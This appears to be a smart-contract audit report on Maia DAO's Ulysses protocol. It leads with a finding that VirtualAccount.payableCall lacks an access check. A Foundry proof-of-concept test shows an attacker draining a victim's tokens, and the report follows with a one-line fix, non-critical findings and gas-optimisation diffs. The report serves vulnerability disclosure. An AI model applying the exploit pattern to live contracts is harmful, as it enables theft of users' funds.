Maia DAO - Ulysses - pfapostol's results

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/VirtualAccount.sol#L85-L112

Vulnerability details

We have a contract called VirtualAccount that manages a virtual user account on the Root Chain. The contract allows users to withdraw native currency (ETH), ERC20 tokens, and ERC721 tokens from their virtual account.

Vulnerability Description:

The VirtualAccount contract fails to enforce proper access control, allowing an attacker to bypass the authorized caller requirements. This enables the attacker to steal tokens from a victim's virtual account. The vulnerability occurs due to the lack of appropriate checks within the contract's payableCall functions.

Steps to Reproduce the Vulnerability

Look test_poc_impersonate() in PoC section.

1. In order to execute the vulnerability, the following setup steps are required:

   1. Create an instance of the VirtualAccount contract. It is recommended to set up the contract directly, because regardless of whether it is created via MulticallRootRouter, it does not affect the underlying functions' logic. Generate a random local port address for this purpose.
   2. Deploy a MockERC20 token. Ideally, it would be an ERC20h(Branch/Root)Token, but for the minimal Proof of Concept (PoC), any ERC20 token implementation will suffice. Since implementation of ERC20h does not impact the transfer or approve/transferFrom logic.
   3. Ensure that tokens are present in the Victim's VirtualAccount. This can be achieved by transferring tokens via an omnichain bridge or directly by the owner of the VirtualAccount to use in the future calls. For the PoC, we transfer tokens directly to the Victim's VirtualAccount.

2. Exploiting the Vulnerability:

   1. Prepare a PayableCall struct with the ERC20.transfer function, specifying the attacker's address as the recipient and assign zero value to PayableCall.
   2. Call the VirtualAccount.payableCall function, passing the prepared PayableCall and using a zero value to initiate the exploit.

Impact

This vulnerability allows an attacker (specified by the ATTACKER address) to bypass the authorized caller requirements and steal tokens from the victim's virtual account. By exploiting this vulnerability, the attacker gains unauthorized access to the victim's tokens, potentially resulting in financial loss and other negative consequences.

Recommendations for Mitigation

To mitigate this vulnerability, the following measures can be taken:

1. Ensure that only authorized callers can initiate transfers from virtual accounts.

Fix

Include requiresApprovedCaller modifier:

diff --git a/src/VirtualAccount.sol b/src/VirtualAccount.sol
index f6a9134..49a679a 100644
--- a/src/VirtualAccount.sol
+++ b/src/VirtualAccount.sol
@@ -82,7 +82,7 @@ contract VirtualAccount is IVirtualAccount, ERC1155Receiver {
     }
 
     /// @inheritdoc IVirtualAccount
-    function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) {
+    function payableCall(PayableCall[] calldata calls) public payable requiresApprovedCaller returns (bytes[] memory returnData) {
         uint256 valAccumulator;
         uint256 length = calls.length;
         returnData = new bytes[](length);

Minimal PoC code sample

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.19;

import "forge-std/Test.sol";
import "forge-std/console2.sol";

import {MockERC20} from "solmate/test/utils/mocks/MockERC20.sol";
import {ERC20} from "solmate/tokens/ERC20.sol";

import {VirtualAccount} from "../src/VirtualAccount.sol";
import {IVirtualAccount, Call, PayableCall} from "../src/interfaces/IVirtualAccount.sol";

contract VirtualAccountPoC is Test {
    address constant port_NVM = address(0x1111ffff0001); 

    address constant VICTIM = address(0x2222ffff0001);
    address constant ATTACKER = address(0x2222ffff0002);

    VirtualAccount virtualAccount;
    MockERC20 erc20_token; // @audit ERC20h(Branch/Root) is just an ERC20 token it does not override neither transfer or approve/transferFrom

    function setUp() public {
        virtualAccount = new VirtualAccount(VICTIM, port_NVM);
        erc20_token = new MockERC20("Any ERC20 token", "AET", 18);
    }

    function test_call_expected_not_impersonate() public {
        erc20_token.mint(VICTIM, 100 ether);
        vm.startPrank(VICTIM);
        erc20_token.transfer(address(virtualAccount), 100 ether); // @note We can transfer tokens to Virtual Account by using bridge, but it does not matter how tokens get into account, important how tot steal them
        vm.stopPrank();

        vm.startPrank(ATTACKER);
        Call[] memory calls = new Call[](1);
        
        bytes memory callData = abi.encodeCall(
            ERC20.transfer,
            (ATTACKER, 100 ether)
        );
        calls[0] = Call({target: address(erc20_token), callData: callData});

        vm.expectRevert();
        virtualAccount.call(calls);

        assertEq(erc20_token.balanceOf(address(virtualAccount)), 100 ether);

        vm.stopPrank();
    }

    function test_expected_not_impersonate() public {
        erc20_token.mint(VICTIM, 100 ether);
        vm.startPrank(VICTIM);
        erc20_token.transfer(address(virtualAccount), 100 ether); // @note We can transfer tokens to Virtual Account by using bridge, but it does not matter how tokens get into account, important how tot steal them
        vm.stopPrank();

        vm.startPrank(ATTACKER);
        PayableCall[] memory calls = new PayableCall[](1);
        
        bytes memory callData = abi.encodeCall(
            ERC20.transfer,
            (ATTACKER, 100 ether)
        );
        calls[0] = PayableCall({target: address(erc20_token), callData: callData, value: 0});

        vm.expectRevert();
        virtualAccount.payableCall(calls);

        assertEq(erc20_token.balanceOf(address(virtualAccount)), 100 ether);

        vm.stopPrank();
    }

    function test_poc_impersonate() public {
        erc20_token.mint(VICTIM, 100 ether);
        vm.startPrank(VICTIM);
        erc20_token.transfer(address(virtualAccount), 100 ether); // @note We can transfer tokens to Virtual Account by using bridge, but it does not matter how tokens get into account, important how tot steal them
        vm.stopPrank();

        vm.startPrank(ATTACKER);
        PayableCall[] memory calls = new PayableCall[](1);
        
        bytes memory callData = abi.encodeCall(
            ERC20.transfer,
            (ATTACKER, 100 ether)
        );
        calls[0] = PayableCall({target: address(erc20_token), callData: callData, value: 0});

        virtualAccount.payableCall{value: 0}(calls);

        assertEq(erc20_token.balanceOf(ATTACKER), 100 ether);

        vm.stopPrank();
    }
}

Tools Used

Manual review, forge

Assessed type

Access Control

Summary table

24 instances over 6 issues

01. Inaccurate comments for bridge agents, factories and chain id (7 instances)

<a name="N-01"></a>

Description:

The comments in the code contain incorrect information regarding the addresses and purpose of the bridge agents, factories and chain id.

Solution:

Update the comments to accurately describe the purpose and addresses of bridge agents and factories.

• src\BranchPort.sol:32, 34, 41, 44

The comment for isBridgeAgent should specify information for the bridge agent address instead of the underlying address.

The comment for bridgeAgents should provide information for the bridge agent address instead of the branch router.

The comment for isBridgeAgentFactory should include information for the bridge agent factory address instead of the underlying address.

The comment for bridgeAgentFactories should provide information for the bridge agent factory address instead of the branch router.

31    /// @notice Mapping from Underlying Address to isUnderlying (bool).
32    mapping(address bridgeAgent => bool isActiveBridgeAgent) public isBridgeAgent;
...
34    /// @notice Branch Routers deployed in branch chain.
35    address[] public bridgeAgents;
...
41    /// @notice Mapping from Underlying Address to isUnderlying (bool).
42    mapping(address bridgeAgentFactory => bool isActiveBridgeAgentFactory) public isBridgeAgentFactory;
...
44     /// @notice Branch Routers deployed in branch chain.
45    address[] public bridgeAgentFactories;

• src\RootPort.sol:42, 60, 76

For coreRootBridgeAgentAddress comment specifies info for core router instead of Bridge Agent For isChainId comment specifies info for Bridge Agent mapping instead of chain ids For isBridgeAgentFactory comment specifies info for Underlying address instead of bridge agent factory

The comment for coreRootBridgeAgentAddress should provide information for the bridge agent address instead of the core router.

The comment for isChainId should specify information for the chain IDs mapping instead of the bridge agent mapping.

The comment for isBridgeAgentFactory should include information for the bridge agent factory address instead of the underlying address.

42     /// @notice The address of the core router in charge of adding new tokens to the system.
43    address public coreRootBridgeAgentAddress;
...
60    /// @notice Mapping from address to Bridge Agent.
61    mapping(uint256 chainId => bool isActive) public isChainId;
...
76    /// @notice Mapping from Underlying Address to isUnderlying (bool).
77    mapping(address bridgeAgentFactory => bool isActive) public isBridgeAgentFactory;

---

02. Mismatched array lengths can cause issues with user operations (4 instances)

<a name="N-02"></a>

Description:

If the requirement for the arrays to have the same length is not enforced, user operations may not be successfully executed. This is because there might be a mismatch between the number of items iterated over and the number of items provided in the second array.

Solution:

Enforce that the arrays have the same length before iterating over them. This can help avoid mismatches and ensure that operations are executed correctly.

• src/BaseBranchRouter.sol:186
• src/BranchPort.sol:246
• src/MulticallRootRouter.sol:544
• src/RootBridgeAgent.sol:856

diff --git a/src/BaseBranchRouter.sol b/src/BaseBranchRouter.sol
index 62bc287..87c4ac4 100644
--- a/src/BaseBranchRouter.sol
+++ b/src/BaseBranchRouter.sol
@@ -189,6 +189,11 @@ contract BaseBranchRouter is IBranchRouter, Ownable {
         uint256[] memory _amounts,
         uint256[] memory _deposits
     ) internal {
+        if (
+            _hTokens.length != _tokens.length || _tokens.length != _amounts.length || _amounts.length != _deposits.length
+        ) revert("Length missmatch");
+
+
         for (uint256 i = 0; i < _hTokens.length;) {
             _transferAndApproveToken(_hTokens[i], _tokens[i], _amounts[i], _deposits[i]);
 
diff --git a/src/BranchPort.sol b/src/BranchPort.sol
index ba60acc..619c958 100644
--- a/src/BranchPort.sol
+++ b/src/BranchPort.sol
@@ -252,6 +252,9 @@ contract BranchPort is Ownable, IBranchPort {
     ) external override requiresBridgeAgent {
         // Cache Length
         uint256 length = _localAddresses.length;
+        if (
+            length != _underlyingAddresses.length || length != _amounts.length || length != _deposits.length
+        ) revert("Length missmatch");
 
         // Loop through token inputs
         for (uint256 i = 0; i < length;) {
diff --git a/src/MulticallRootRouter.sol b/src/MulticallRootRouter.sol
index 0621f81..bd241b7 100644
--- a/src/MulticallRootRouter.sol
+++ b/src/MulticallRootRouter.sol
@@ -550,6 +550,10 @@ contract MulticallRootRouter is IRootRouter, Ownable {
         uint16 dstChainId,
         GasParams memory gasParams
     ) internal virtual {
+        if (
+            outputTokens.length != amountsOut.length || amountsOut.length != depositsOut.length
+        ) revert("Length missmatch");
+
         // Save bridge agent address to memory
         address _bridgeAgentAddress = bridgeAgentAddress;
 
diff --git a/src/RootBridgeAgent.sol b/src/RootBridgeAgent.sol
index a6ad0ef..6fa9d65 100644
--- a/src/RootBridgeAgent.sol
+++ b/src/RootBridgeAgent.sol
@@ -870,6 +870,10 @@ contract RootBridgeAgent is IRootBridgeAgent, BridgeAgentConstants {
         // Check if payload is ready for message
         if (_hTokens.length == 0) revert SettlementRetryUnavailableUseCallout();
 
+        if (
+            _hTokens.length != _tokens.length || _tokens.length != _amounts.length || _amounts.length != _deposits.length
+        ) revert("Length missmatch");
+
         // Get packed data
         bytes memory payload;

---

03. Modifier duplication in multiple contracts (5 instances)

<a name="N-03"></a>

Description:

Several contracts have the same modifier defined within them. This duplication can be avoided by moving the modifier to a separate library and importing it where needed.

Solution:

Extract the common modifier to a separate library file and import it in the contracts that require it.

• src/RootBridgeAgent.sol:1191

• src/MulticallRootRouter.sol:591

• src/BranchPort.sol:567

• src/BranchBridgeAgent.sol:923

• src/BaseBranchRouter.sol:213

Example:

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.0;

contract Lock {
    /// @notice Re-entrancy lock modifier state.
    uint256 internal _unlocked = 1;

    /// @notice Modifier for a simple re-entrancy check.
    modifier lock() {
        require(_unlocked == 1);
        _unlocked = 2;
        _;
        _unlocked = 1;
    }
}

diff --git a/src/BaseBranchRouter.sol b/src/BaseBranchRouter.sol
index 62bc287..5e294ce 100644
--- a/src/BaseBranchRouter.sol
+++ b/src/BaseBranchRouter.sol
@@ -7,6 +7,7 @@ import {SafeTransferLib} from "solady/utils/SafeTransferLib.sol";
 import {ERC20} from "solmate/tokens/ERC20.sol";
 
 import {IBranchRouter} from "./interfaces/IBranchRouter.sol";
+import "src/lock.sol";
 
 import {
     IBranchBridgeAgent as IBridgeAgent,
@@ -22,7 +23,7 @@ import {
 
 /// @title Base Branch Router Contract
 /// @author MaiaDAO
-contract BaseBranchRouter is IBranchRouter, Ownable {
+contract BaseBranchRouter is IBranchRouter, Ownable, Lock {
     using SafeTransferLib for address;
 
     /*///////////////////////////////////////////////////////////////
@@ -38,9 +39,6 @@ contract BaseBranchRouter is IBranchRouter, Ownable {
     /// @inheritdoc IBranchRouter
     address public override bridgeAgentExecutorAddress;
 
-    /// @notice Re-entrancy lock modifier state.
-    uint256 internal _unlocked = 1;
-
     /*///////////////////////////////////////////////////////////////
                             CONSTRUCTOR
     //////////////////////////////////////////////////////////////*/
@@ -207,12 +205,4 @@ contract BaseBranchRouter is IBranchRouter, Ownable {
         if (msg.sender != bridgeAgentExecutorAddress) revert UnrecognizedBridgeAgentExecutor();
         _;
     }
-
-    /// @notice Modifier for a simple re-entrancy check.
-    modifier lock() {
-        require(_unlocked == 1);
-        _unlocked = 2;
-        _;
-        _unlocked = 1;
-    }
 }
diff --git a/src/BranchBridgeAgent.sol b/src/BranchBridgeAgent.sol
index b076d2d..3a5a831 100644
--- a/src/BranchBridgeAgent.sol
+++ b/src/BranchBridgeAgent.sol
@@ -18,7 +18,7 @@ import {
 import {ILayerZeroEndpoint} from "./interfaces/ILayerZeroEndpoint.sol";
 
 import {BranchBridgeAgentExecutor, DeployBranchBridgeAgentExecutor} from "./BranchBridgeAgentExecutor.sol";
-
+import "src/lock.sol";
 /// @title Library for Branch Bridge Agent Deployment
 library DeployBranchBridgeAgent {
     function deploy(
@@ -42,7 +42,7 @@ library DeployBranchBridgeAgent {
 
 /// @title Branch Bridge Agent Contract
 /// @author MaiaDAO
-contract BranchBridgeAgent is IBranchBridgeAgent, BridgeAgentConstants {
+contract BranchBridgeAgent is IBranchBridgeAgent, BridgeAgentConstants, Lock {
     using ExcessivelySafeCall for address;
 
     /*///////////////////////////////////////////////////////////////
@@ -93,13 +93,6 @@ contract BranchBridgeAgent is IBranchBridgeAgent, BridgeAgentConstants {
     /// @notice If true, the bridge agent has already served a request with this nonce from a given chain.
     mapping(uint256 settlementNonce => uint256 state) public executionState;
 
-    /*///////////////////////////////////////////////////////////////
-                           REENTRANCY STATE
-    //////////////////////////////////////////////////////////////*/
-
-    /// @notice Re-entrancy lock modifier state.
-    uint256 internal _unlocked = 1;
-
     /*///////////////////////////////////////////////////////////////
                              CONSTRUCTOR
     //////////////////////////////////////////////////////////////*/
@@ -918,14 +911,6 @@ contract BranchBridgeAgent is IBranchBridgeAgent, BridgeAgentConstants {
                                 MODIFIERS
     //////////////////////////////////////////////////////////////*/
 
-    /// @notice Modifier for a simple re-entrancy check.
-    modifier lock() {
-        require(_unlocked == 1);
-        _unlocked = 2;
-        _;
-        _unlocked = 1;
-    }
-
     /// @notice Modifier verifies the caller is the Layerzero Enpoint or Local Branch Bridge Agent.
     modifier requiresEndpoint(address _endpoint, bytes calldata _srcAddress) {
         _requiresEndpoint(_endpoint, _srcAddress);
diff --git a/src/BranchPort.sol b/src/BranchPort.sol
index ba60acc..26d5a56 100644
--- a/src/BranchPort.sol
+++ b/src/BranchPort.sol
@@ -11,10 +11,11 @@ import {IPortStrategy} from "./interfaces/IPortStrategy.sol";
 import {IBranchPort} from "./interfaces/IBranchPort.sol";
 
 import {ERC20hTokenBranch} from "./token/ERC20hTokenBranch.sol";
+import "src/lock.sol";
 
 /// @title Branch Port - Omnichain Token Management Contract
 /// @author MaiaDAO
-contract BranchPort is Ownable, IBranchPort {
+contract BranchPort is Ownable, IBranchPort, Lock {
     using SafeTransferLib for address;
 
     /*///////////////////////////////////////////////////////////////
@@ -83,13 +84,6 @@ contract BranchPort is Ownable, IBranchPort {
     mapping(address strategy => mapping(address token => uint256 dailyLimitRemaining)) public
         strategyDailyLimitRemaining;
 
-    /*///////////////////////////////////////////////////////////////
-                            REENTRANCY STATE
-    //////////////////////////////////////////////////////////////*/
-
-    /// @notice Reentrancy lock guard state.
-    uint256 internal _unlocked = 1;
-
     /*///////////////////////////////////////////////////////////////
                             CONSTANTS
     //////////////////////////////////////////////////////////////*/
@@ -561,12 +555,4 @@ contract BranchPort is Ownable, IBranchPort {
         if (!isPortStrategy[msg.sender][_token]) revert UnrecognizedPortStrategy();
         _;
     }
-
-    /// @notice Modifier for a simple re-entrancy check.
-    modifier lock() {
-        require(_unlocked == 1);
-        _unlocked = 2;
-        _;
-        _unlocked = 1;
-    }
 }
diff --git a/src/MulticallRootRouter.sol b/src/MulticallRootRouter.sol
index 0621f81..c92e54f 100644
--- a/src/MulticallRootRouter.sol
+++ b/src/MulticallRootRouter.sol
@@ -13,6 +13,7 @@ import {
 } from "./interfaces/IRootBridgeAgent.sol";
 import {IRootRouter, DepositParams, DepositMultipleParams} from "./interfaces/IRootRouter.sol";
 import {IVirtualAccount, Call} from "./interfaces/IVirtualAccount.sol";
+import "src/lock.sol";
 
 struct OutputParams {
     // Address to receive the output assets.
@@ -54,7 +55,7 @@ struct OutputMultipleParams {
  *         0x06         | multicallSignedMultipleOutput
  *
  */
-contract MulticallRootRouter is IRootRouter, Ownable {
+contract MulticallRootRouter is IRootRouter, Ownable, Lock {
     using SafeTransferLib for address;
 
     /*///////////////////////////////////////////////////////////////
@@ -76,8 +77,6 @@ contract MulticallRootRouter is IRootRouter, Ownable {
     /// @notice Bridge Agent Executor Address.
     address public bridgeAgentExecutorAddress;
 
-    /// @notice Re-entrancy lock modifier state.
-    uint256 internal _unlocked = 1;
 
     /*///////////////////////////////////////////////////////////////
                             CONSTRUCTOR
@@ -586,13 +585,6 @@ contract MulticallRootRouter is IRootRouter, Ownable {
                             MODIFIERS
     ////////////////////////////////////////////////////////////*/
 
-    /// @notice Modifier for a simple re-entrancy check.
-    modifier lock() {
-        require(_unlocked == 1);
-        _unlocked = 2;
-        _;
-        _unlocked = 1;
-    }
 
     /// @notice Modifier verifies the caller is the Bridge Agent Executor.
     modifier requiresExecutor() {
diff --git a/src/RootBridgeAgent.sol b/src/RootBridgeAgent.sol
index a6ad0ef..9d9a2c7 100644
--- a/src/RootBridgeAgent.sol
+++ b/src/RootBridgeAgent.sol
@@ -26,10 +26,11 @@ import {IRootPort as IPort} from "./interfaces/IRootPort.sol";
 
 import {VirtualAccount} from "./VirtualAccount.sol";
 import {DeployRootBridgeAgentExecutor, RootBridgeAgentExecutor} from "./RootBridgeAgentExecutor.sol";
+import "src/lock.sol";
 
 /// @title Root Bridge Agent Contract
 /// @author MaiaDAO
-contract RootBridgeAgent is IRootBridgeAgent, BridgeAgentConstants {
+contract RootBridgeAgent is IRootBridgeAgent, BridgeAgentConstants, Lock {
     using SafeTransferLib for address;
     using ExcessivelySafeCall for address;
     /*///////////////////////////////////////////////////////////////
@@ -84,13 +85,6 @@ contract RootBridgeAgent is IRootBridgeAgent, BridgeAgentConstants {
     /// @notice If true, bridge agent has already served a request with this nonce from  a given chain. Chain -> Nonce -> Bool
     mapping(uint256 chainId => mapping(uint256 nonce => uint256 state)) public executionState;
 
-    /*///////////////////////////////////////////////////////////////
-                            REENTRANCY STATE
-    //////////////////////////////////////////////////////////////*/
-
-    /// @notice Re-entrancy lock modifier state.
-    uint256 internal _unlocked = 1;
-
     /*///////////////////////////////////////////////////////////////
                             CONSTRUCTOR
     //////////////////////////////////////////////////////////////*/
@@ -1186,14 +1180,6 @@ contract RootBridgeAgent is IRootBridgeAgent, BridgeAgentConstants {
                             MODIFIERS
     //////////////////////////////////////////////////////////////*/
 
-    /// @notice Modifier for a simple re-entrancy check.
-    modifier lock() {
-        require(_unlocked == 1);
-        _unlocked = 2;
-        _;
-        _unlocked = 1;
-    }
-
     /// @notice Internal function to verify msg sender is Bridge Agent's Router.
     modifier requiresRouter() {
         if (msg.sender != localRouterAddress) revert UnrecognizedRouter();

---

04. Duplicated statements in multiple functions. (2 instances)

<a name="N-04"></a>

Description:

Certain statements are repeated in multiple functions within the same contract. This duplication can be reduced by creating a modifier that includes these common statements.

Solution:

Create a modifier that includes the common statements and apply it to the relevant functions.

• src/factories/ArbitrumBranchBridgeAgentFactory.sol:84
• src/factories/BranchBridgeAgentFactory.sol:120

diff --git a/src/factories/ArbitrumBranchBridgeAgentFactory.sol b/src/factories/ArbitrumBranchBridgeAgentFactory.sol
index 3f07a7d..6455d9a 100644
--- a/src/factories/ArbitrumBranchBridgeAgentFactory.sol
+++ b/src/factories/ArbitrumBranchBridgeAgentFactory.sol
@@ -80,15 +80,14 @@ contract ArbitrumBranchBridgeAgentFactory is BranchBridgeAgentFactory {
         address _newBranchRouterAddress,
         address _rootBridgeAgentAddress,
         address _rootBridgeAgentFactoryAddress
-    ) external virtual override returns (address newBridgeAgent) {
-        require(
-            msg.sender == localCoreBranchRouterAddress, "Only the Core Branch Router can create a new Bridge Agent."
-        );
-        require(
-            _rootBridgeAgentFactoryAddress == rootBridgeAgentFactoryAddress,
-            "Root Bridge Agent Factory Address does not match."
-        );
-
+    )
+        external
+        virtual
+        override
+        requireCoreBranchRouter
+        requireRootBridgeAgentFactory(_rootBridgeAgentFactoryAddress)
+        returns (address newBridgeAgent)
+    {
         newBridgeAgent = address(
             DeployArbitrumBranchBridgeAgent.deploy(
                 rootChainId, _rootBridgeAgentAddress, _newBranchRouterAddress, localPortAddress
diff --git a/src/factories/BranchBridgeAgentFactory.sol b/src/factories/BranchBridgeAgentFactory.sol
index c789a27..33b594e 100644
--- a/src/factories/BranchBridgeAgentFactory.sol
+++ b/src/factories/BranchBridgeAgentFactory.sol
@@ -116,15 +116,13 @@ contract BranchBridgeAgentFactory is Ownable, IBranchBridgeAgentFactory {
         address _newBranchRouterAddress,
         address _rootBridgeAgentAddress,
         address _rootBridgeAgentFactoryAddress
-    ) external virtual returns (address newBridgeAgent) {
-        require(
-            msg.sender == localCoreBranchRouterAddress, "Only the Core Branch Router can create a new Bridge Agent."
-        );
-        require(
-            _rootBridgeAgentFactoryAddress == rootBridgeAgentFactoryAddress,
-            "Root Bridge Agent Factory Address does not match."
-        );
-
+    )
+        external
+        virtual
+        requireCoreBranchRouter
+        requireRootBridgeAgentFactory(_rootBridgeAgentFactoryAddress)
+        returns (address newBridgeAgent)
+    {
         newBridgeAgent = address(
             DeployBranchBridgeAgent.deploy(
                 rootChainId,
@@ -138,4 +136,19 @@ contract BranchBridgeAgentFactory is Ownable, IBranchBridgeAgentFactory {
 
         IPort(localPortAddress).addBridgeAgent(newBridgeAgent);
     }
+
+    modifier requireCoreBranchRouter() {
+        require(
+            msg.sender == localCoreBranchRouterAddress, "Only the Core Branch Router can create a new Bridge Agent."
+        );
+        _;
+    }
+
+    modifier requireRootBridgeAgentFactory(address _rootBridgeAgentFactoryAddress) {
+        require(
+            _rootBridgeAgentFactoryAddress == rootBridgeAgentFactoryAddress,
+            "Root Bridge Agent Factory Address does not match."
+        );
+        _;
+    }
 }

---

05. Unnecessary modifiers for empty or revert functions. (5 instances)

<a name="N-05"></a>

Description:

Some functions in the code either don't have any implementation or unconditionally revert. Applying a modifier to these functions is unnecessary.

Solution:

Remove the unnecessary modifiers from the empty or revert functions.

• src/CoreRootRouter.sol:355, 365, 370, 380, 390

diff --git a/src/CoreRootRouter.sol b/src/CoreRootRouter.sol
index 3104a2a..8db63d1 100644
--- a/src/CoreRootRouter.sol
+++ b/src/CoreRootRouter.sol
@@ -351,7 +351,6 @@ contract CoreRootRouter is IRootRouter, Ownable {
         external
         payable
         override
-        requiresExecutor
     {
         revert();
     }
@@ -361,13 +360,12 @@ contract CoreRootRouter is IRootRouter, Ownable {
         external
         payable
         override
-        requiresExecutor
     {
         revert();
     }
 
     /// @inheritdoc IRootRouter
-    function executeSigned(bytes memory, address, uint16) external payable override requiresExecutor {
+    function executeSigned(bytes memory, address, uint16) external payable override {
         revert();
     }
 
@@ -376,7 +374,6 @@ contract CoreRootRouter is IRootRouter, Ownable {
         external
         payable
         override
-        requiresExecutor
     {
         revert();
     }
@@ -386,7 +383,6 @@ contract CoreRootRouter is IRootRouter, Ownable {
         external
         payable
         override
-        requiresExecutor
     {
         revert();
     }

---

06. Duplicate function bodies. (1 instance)

<a name="N-06"></a>

Description:

Two functions in the code have exactly the same body and perform the same actions. This duplication can be avoided by merging the two functions into a single one.

Solution:

Merge the two functions into a single one and remove the duplicated code.

• src\MulticallRootRouter.sol:321

executeSignedDepositSingle have the same body as executeSigned

diff --git a/src/MulticallRootRouter.sol b/src/MulticallRootRouter.sol
index 0621f81..f392413 100644
--- a/src/MulticallRootRouter.sol
+++ b/src/MulticallRootRouter.sol
@@ -221,7 +221,7 @@ contract MulticallRootRouter is IRootRouter, Ownable {
      *
      */
     function executeSigned(bytes calldata encodedData, address userAccount, uint16)
-        external
+        public
         payable
         override
         lock
@@ -316,76 +316,7 @@ contract MulticallRootRouter is IRootRouter, Ownable {
         requiresExecutor
         lock
     {
-        // Parse funcId
-        bytes1 funcId = encodedData[0];
-
-        /// FUNC ID: 1 (multicallNoOutput)
-        if (funcId == 0x01) {
-            // Decode Params
-            Call[] memory calls = abi.decode(_decode(encodedData[1:]), (Call[]));
-
-            // Make requested calls
-            IVirtualAccount(userAccount).call(calls);
-
-            /// FUNC ID: 2 (multicallSingleOutput)
-        } else if (funcId == 0x02) {
-            // Decode Params
-            (Call[] memory calls, OutputParams memory outputParams, uint16 dstChainId, GasParams memory gasParams) =
-                abi.decode(_decode(encodedData[1:]), (Call[], OutputParams, uint16, GasParams));
-
-            // Make requested calls
-            IVirtualAccount(userAccount).call(calls);
-
-            // Withdraw assets from Virtual Account
-            IVirtualAccount(userAccount).withdrawERC20(outputParams.outputToken, outputParams.amountOut);
-
-            // Bridge Out assets
-            _approveAndCallOut(
-                IVirtualAccount(userAccount).userAddress(),
-                outputParams.recipient,
-                outputParams.outputToken,
-                outputParams.amountOut,
-                outputParams.depositOut,
-                dstChainId,
-                gasParams
-            );
-
-            /// FUNC ID: 3 (multicallMultipleOutput)
-        } else if (funcId == 0x03) {
-            // Decode Params
-            (
-                Call[] memory calls,
-                OutputMultipleParams memory outputParams,
-                uint16 dstChainId,
-                GasParams memory gasParams
-            ) = abi.decode(_decode(encodedData[1:]), (Call[], OutputMultipleParams, uint16, GasParams));
-
-            // Make requested calls
-            IVirtualAccount(userAccount).call(calls);
-
-            // Withdraw assets from Virtual Account
-            for (uint256 i = 0; i < outputParams.outputTokens.length;) {
-                IVirtualAccount(userAccount).withdrawERC20(outputParams.outputTokens[i], outputParams.amountsOut[i]);
-
-                unchecked {
-                    ++i;
-                }
-            }
-
-            // Bridge Out assets
-            _approveMultipleAndCallOut(
-                IVirtualAccount(userAccount).userAddress(),
-                outputParams.recipient,
-                outputParams.outputTokens,
-                outputParams.amountsOut,
-                outputParams.depositsOut,
-                dstChainId,
-                gasParams
-            );
-            /// UNRECOGNIZED FUNC ID
-        } else {
-            revert UnrecognizedFunctionId();
-        }
+        executeSigned(encodedData, userAccount, 0);
     }
 
     /**

Summary table

14 instances over 5 issues

---

1. Removal of redundant redefine in a loop (1 instance)

<a name="G-01"></a>

Description:

In the VirtualAccount.sol contract, the same Call struct is redefined inside the loop, which is unnecessary as it can be moved outside the loop for optimization.

By moving the Call struct definition outside the loop, unnecessary memory allocations and reassignments are avoided, resulting in gas savings.

Gas Savings:

The gas savings would vary depending on the number of loop iterations and the complexity of the Call struct, but it reduces gas cost by avoiding redundant memory operations.

• src/VirtualAccount.sol:72)

diff --git a/src/VirtualAccount.sol b/src/VirtualAccount.sol
index f6a9134..1f02e61 100644
--- a/src/VirtualAccount.sol
+++ b/src/VirtualAccount.sol
@@ -67,9 +67,10 @@ contract VirtualAccount is IVirtualAccount, ERC1155Receiver {
         uint256 length = calls.length;
         returnData = new bytes[](length);
 
+        Call calldata _call;
         for (uint256 i = 0; i < length;) {
             bool success;
-            Call calldata _call = calls[i];
+            _call = calls[i];
 
             if (isContract(_call.target)) (success, returnData[i]) = _call.target.call(_call.callData);

---

2. Caching repeating calculations (1 instance)

<a name="G-02"></a>

Description:

In the RootPort.sol contract, the difference between _amount and _deposit is calculated multiple times within the same function. By caching the difference in a variable, gas consumption is reduced.

• src\RootPort.sol:286)

diff --git a/src/RootPort.sol b/src/RootPort.sol
index c379b6e..aad1258 100644
--- a/src/RootPort.sol
+++ b/src/RootPort.sol
@@ -281,9 +281,10 @@ contract RootPort is Ownable, IRootPort {
     {
         if (!isGlobalAddress[_hToken]) revert UnrecognizedToken();
 
-        if (_amount - _deposit > 0) {
+        uint256 _diff = _amount - _deposit;
+        if (_diff > 0) {
             unchecked {
-                _hToken.safeTransfer(_recipient, _amount - _deposit);
+                _hToken.safeTransfer(_recipient, _diff);
             }
         }
 

---

3. Extract common modifier to a library (5 instances)

<a name="G-03"></a>

Description:

In multiple contracts, the same modifier is defined within each contract. Extracting the common modifier to a separate library reduces code duplication and optimizes gas consumption.

By creating a library that contains the shared modifier and importing it in the relevant contracts, code duplication is avoided. This results in reduced bytecode size and gas savings.

• src/RootBridgeAgent.sol:1191

• src/MulticallRootRouter.sol:591

• src/BranchPort.sol:567

• src/BranchBridgeAgent.sol:923

• src/BaseBranchRouter.sol:213

Example:

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.0;

contract Lock {
    /// @notice Re-entrancy lock modifier state.
    uint256 internal _unlocked = 1;

    /// @notice Modifier for a simple re-entrancy check.
    modifier lock() {
        require(_unlocked == 1);
        _unlocked = 2;
        _;
        _unlocked = 1;
    }
}

diff --git a/src/BaseBranchRouter.sol b/src/BaseBranchRouter.sol
index 62bc287..5e294ce 100644
--- a/src/BaseBranchRouter.sol
+++ b/src/BaseBranchRouter.sol
@@ -7,6 +7,7 @@ import {SafeTransferLib} from "solady/utils/SafeTransferLib.sol";
 import {ERC20} from "solmate/tokens/ERC20.sol";
 
 import {IBranchRouter} from "./interfaces/IBranchRouter.sol";
+import "src/lock.sol";
 
 import {
     IBranchBridgeAgent as IBridgeAgent,
@@ -22,7 +23,7 @@ import {
 
 /// @title Base Branch Router Contract
 /// @author MaiaDAO
-contract BaseBranchRouter is IBranchRouter, Ownable {
+contract BaseBranchRouter is IBranchRouter, Ownable, Lock {
     using SafeTransferLib for address;
 
     /*///////////////////////////////////////////////////////////////
@@ -38,9 +39,6 @@ contract BaseBranchRouter is IBranchRouter, Ownable {
     /// @inheritdoc IBranchRouter
     address public override bridgeAgentExecutorAddress;
 
-    /// @notice Re-entrancy lock modifier state.
-    uint256 internal _unlocked = 1;
-
     /*///////////////////////////////////////////////////////////////
                             CONSTRUCTOR
     //////////////////////////////////////////////////////////////*/
@@ -207,12 +205,4 @@ contract BaseBranchRouter is IBranchRouter, Ownable {
